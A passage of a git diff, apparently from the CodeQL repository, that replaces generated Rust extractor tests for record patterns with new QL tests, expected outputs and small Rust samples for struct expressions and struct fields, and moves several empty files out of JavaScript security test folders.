diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.ql b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.ql
deleted file mode 100644
index f80865d05157..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPat x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getResolvedCrateOrigin()
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.ql b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.ql
deleted file mode 100644
index a816942e47b5..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPat x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getResolvedPath()
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/gen_record_pat.rs b/rust/ql/test/extractor-tests/generated/RecordPat/gen_record_pat.rs
deleted file mode 100644
index 87b0fcd5e0dc..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/gen_record_pat.rs
+++ /dev/null
@@ -1,9 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_pat() -> () {
-    // A record pattern. For example:
-    match x {
-        Foo { a: 1, b: 2 } => "ok",
-        Foo { .. } => "fail",
-    }
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected
deleted file mode 100644
index 46761f6939ac..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_pat_field.rs:5:15:5:18 | a: 1 | getNumberOfAttrs: | 0 | hasNameRef: | yes | hasPat: | yes |
-| gen_record_pat_field.rs:5:21:5:24 | b: 2 | getNumberOfAttrs: | 0 | hasNameRef: | yes | hasPat: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.ql b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.ql
deleted file mode 100644
index dd6bedf98e04..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.ql
+++ /dev/null
@@ -1,12 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatField x, int getNumberOfAttrs, string hasNameRef, string hasPat
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  getNumberOfAttrs = x.getNumberOfAttrs() and
-  (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and
-  if x.hasPat() then hasPat = "yes" else hasPat = "no"
-select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasNameRef:", hasNameRef, "hasPat:", hasPat
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.ql b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.ql
deleted file mode 100644
index f079ebc04841..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatField x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getAttr(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected
deleted file mode 100644
index a75a5dc2d20d..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_pat_field.rs:5:15:5:18 | a: 1 | gen_record_pat_field.rs:5:15:5:15 | a |
-| gen_record_pat_field.rs:5:21:5:24 | b: 2 | gen_record_pat_field.rs:5:21:5:21 | b |
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.ql b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.ql
deleted file mode 100644
index acc577910e5b..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected
deleted file mode 100644
index d5fc014887ae..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_pat_field.rs:5:15:5:18 | a: 1 | gen_record_pat_field.rs:5:18:5:18 | 1 |
-| gen_record_pat_field.rs:5:21:5:24 | b: 2 | gen_record_pat_field.rs:5:24:5:24 | 2 |
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.ql b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.ql
deleted file mode 100644
index ad0e6e06cf0f..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getPat()
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/gen_record_pat_field.rs b/rust/ql/test/extractor-tests/generated/RecordPatField/gen_record_pat_field.rs
deleted file mode 100644
index 4e1e358e3a09..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatField/gen_record_pat_field.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_pat_field() -> () {
-    // A field in a record pattern. For example `a: 1` in:
-    let Foo { a: 1, b: 2 } = foo;
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.ql b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.ql
deleted file mode 100644
index 527f6722cd20..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.ql
+++ /dev/null
@@ -1,11 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatFieldList x, int getNumberOfFields, string hasRestPat
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  getNumberOfFields = x.getNumberOfFields() and
-  if x.hasRestPat() then hasRestPat = "yes" else hasRestPat = "no"
-select x, "getNumberOfFields:", getNumberOfFields, "hasRestPat:", hasRestPat
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.ql
deleted file mode 100644
index 21a45ead5355..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatFieldList x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getField(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.expected b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.ql b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.ql
deleted file mode 100644
index 82877cbe6ba1..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPatFieldList x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getRestPat()
diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/gen_record_pat_field_list.rs b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/gen_record_pat_field_list.rs
deleted file mode 100644
index b2f5d70cd575..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/gen_record_pat_field_list.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_pat_field_list() -> () {
-    // A RecordPatFieldList. For example:
-    todo!()
-}
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr.expected b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr.expected
new file mode 100644
index 000000000000..b9d3562413c9
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr.expected
@@ -0,0 +1,4 @@
+| gen_struct_expr.rs:5:17:5:34 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasStructExprFieldList: | yes |
+| gen_struct_expr.rs:6:18:6:38 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasStructExprFieldList: | yes |
+| gen_struct_expr.rs:7:5:7:22 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasStructExprFieldList: | yes |
+| gen_struct_expr.rs:8:5:8:14 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasStructExprFieldList: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr.ql b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr.ql
new file mode 100644
index 000000000000..6b4189951a5d
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr.ql
@@ -0,0 +1,22 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from
+  StructExpr x, string hasResolvedPath, string hasResolvedCrateOrigin, string hasPath,
+  string hasStructExprFieldList
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  (if x.hasResolvedPath() then hasResolvedPath = "yes" else hasResolvedPath = "no") and
+  (
+    if x.hasResolvedCrateOrigin()
+    then hasResolvedCrateOrigin = "yes"
+    else hasResolvedCrateOrigin = "no"
+  ) and
+  (if x.hasPath() then hasPath = "yes" else hasPath = "no") and
+  if x.hasStructExprFieldList()
+  then hasStructExprFieldList = "yes"
+  else hasStructExprFieldList = "no"
+select x, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin,
+  "hasPath:", hasPath, "hasStructExprFieldList:", hasStructExprFieldList
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getPath.expected b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getPath.expected
new file mode 100644
index 000000000000..ca22511d4c13
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getPath.expected
@@ -0,0 +1,4 @@
+| gen_struct_expr.rs:5:17:5:34 | Foo {...} | gen_struct_expr.rs:5:17:5:19 | Foo |
+| gen_struct_expr.rs:6:18:6:38 | Foo {...} | gen_struct_expr.rs:6:18:6:20 | Foo |
+| gen_struct_expr.rs:7:5:7:22 | Foo {...} | gen_struct_expr.rs:7:5:7:7 | Foo |
+| gen_struct_expr.rs:8:5:8:14 | Foo {...} | gen_struct_expr.rs:8:5:8:7 | Foo |
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getPath.ql b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getPath.ql
new file mode 100644
index 000000000000..dd6682ca28b2
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getPath.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getPath()
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ConsistencyExceptionXss.expected b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ConsistencyExceptionXss.expected
rename to rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.ql b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.ql
new file mode 100644
index 000000000000..10d7894e2e15
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getResolvedCrateOrigin()
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ConsistencyReflectedXss.expected b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ConsistencyReflectedXss.expected
rename to rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.ql b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.ql
new file mode 100644
index 000000000000..49876f1872a3
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getResolvedPath()
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.expected b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.expected
new file mode 100644
index 000000000000..cf201f27ca23
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.expected
@@ -0,0 +1,4 @@
+| gen_struct_expr.rs:5:17:5:34 | Foo {...} | gen_struct_expr.rs:5:21:5:34 | StructExprFieldList |
+| gen_struct_expr.rs:6:18:6:38 | Foo {...} | gen_struct_expr.rs:6:22:6:38 | StructExprFieldList |
+| gen_struct_expr.rs:7:5:7:22 | Foo {...} | gen_struct_expr.rs:7:9:7:22 | StructExprFieldList |
+| gen_struct_expr.rs:8:5:8:14 | Foo {...} | gen_struct_expr.rs:8:9:8:14 | StructExprFieldList |
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.ql b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.ql
new file mode 100644
index 000000000000..4e8e74dca364
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getStructExprFieldList()
diff --git a/rust/ql/test/extractor-tests/generated/StructExpr/gen_struct_expr.rs b/rust/ql/test/extractor-tests/generated/StructExpr/gen_struct_expr.rs
new file mode 100644
index 000000000000..7e43d1000511
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExpr/gen_struct_expr.rs
@@ -0,0 +1,9 @@
+// generated by codegen, do not edit
+
+fn test_struct_expr() -> () {
+    // A struct expression. For example:
+    let first = Foo { a: 1, b: 2 };
+    let second = Foo { a: 2, ..first };
+    Foo { a: 1, b: 2 }[2] = 10;
+    Foo { .. } = second;
+}
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected
new file mode 100644
index 000000000000..952656c39aaf
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected
@@ -0,0 +1,2 @@
+| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasIdentifier: | yes |
+| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasIdentifier: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql
new file mode 100644
index 000000000000..3d383af10dc8
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql
@@ -0,0 +1,13 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprField x, int getNumberOfAttrs, string hasExpr, string hasIdentifier
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  getNumberOfAttrs = x.getNumberOfAttrs() and
+  (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and
+  if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no"
+select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasIdentifier:",
+  hasIdentifier
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/ConsistencyStoredXss.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getAttr.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/StoredXss/ConsistencyStoredXss.expected
rename to rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getAttr.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql
new file mode 100644
index 000000000000..2742907ba87e
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprField x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getAttr(index)
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.expected
new file mode 100644
index 000000000000..ee1f3e2a9fed
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.expected
@@ -0,0 +1,2 @@
+| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | gen_struct_expr_field.rs:5:14:5:14 | 1 |
+| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | gen_struct_expr_field.rs:5:20:5:20 | 2 |
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql
new file mode 100644
index 000000000000..f301995d0b9f
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getExpr()
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected
new file mode 100644
index 000000000000..feb2debc66e9
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected
@@ -0,0 +1,2 @@
+| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | gen_struct_expr_field.rs:5:11:5:11 | a |
+| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | gen_struct_expr_field.rs:5:17:5:17 | b |
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql
new file mode 100644
index 000000000000..6d6b06cf3d5d
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/gen_struct_expr_field.rs b/rust/ql/test/extractor-tests/generated/StructExprField/gen_struct_expr_field.rs
new file mode 100644
index 000000000000..0f1ab7c90ca4
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprField/gen_struct_expr_field.rs
@@ -0,0 +1,6 @@
+// generated by codegen, do not edit
+
+fn test_struct_expr_field() -> () {
+    // A field in a struct expression. For example `a: 1` in:
+    Foo { a: 1, b: 2 };
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/ConsistencyUnsafeHtmlConstruction.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/ConsistencyUnsafeHtmlConstruction.expected
rename to rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql
new file mode 100644
index 000000000000..75690e39e194
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql
@@ -0,0 +1,13 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprFieldList x, int getNumberOfAttrs, int getNumberOfFields, string hasSpread
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  getNumberOfAttrs = x.getNumberOfAttrs() and
+  getNumberOfFields = x.getNumberOfFields() and
+  if x.hasSpread() then hasSpread = "yes" else hasSpread = "no"
+select x, "getNumberOfAttrs:", getNumberOfAttrs, "getNumberOfFields:", getNumberOfFields,
+  "hasSpread:", hasSpread
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/ConsistencyUnsafeJQueryPlugin.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/ConsistencyUnsafeJQueryPlugin.expected
rename to rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql
new file mode 100644
index 000000000000..2285cd246d62
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprFieldList x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getAttr(index)
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/ConsistencyXssThroughDom.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/ConsistencyXssThroughDom.expected
rename to rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql
new file mode 100644
index 000000000000..3872d178afc4
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprFieldList x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getField(index)
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/Consistency.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-089/untyped/Consistency.expected
rename to rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql
new file mode 100644
index 000000000000..d3a504725920
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructExprFieldList x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getSpread()
diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs
new file mode 100644
index 000000000000..01557f966aa2
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs
@@ -0,0 +1,6 @@
+// generated by codegen, do not edit
+
+fn test_struct_expr_field_list() -> () {
+    // A StructExprFieldList. For example:
+    todo!()
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-502/Consistency.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-502/Consistency.expected
rename to rust/ql/test/extractor-tests/generated/StructField/StructField.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField.ql
new file mode 100644
index 000000000000..dfd4327e74c4
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructField/StructField.ql
@@ -0,0 +1,17 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from
+  StructField x, int getNumberOfAttrs, string hasDefault, string hasName, string hasTypeRepr,
+  string hasVisibility
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  getNumberOfAttrs = x.getNumberOfAttrs() and
+  (if x.hasDefault() then hasDefault = "yes" else hasDefault = "no") and
+  (if x.hasName() then hasName = "yes" else hasName = "no") and
+  (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and
+  if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no"
+select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasDefault:", hasDefault, "hasName:", hasName,
+  "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/Consistency.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getAttr.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/Consistency.expected
rename to rust/ql/test/extractor-tests/generated/StructField/StructField_getAttr.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getAttr.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField_getAttr.ql
new file mode 100644
index 000000000000..61661be44900
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getAttr.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructField x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getAttr(index)
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/Consistency.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/Consistency.expected
rename to rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.ql
new file mode 100644
index 000000000000..dbdd22c00e04
--- /dev/null
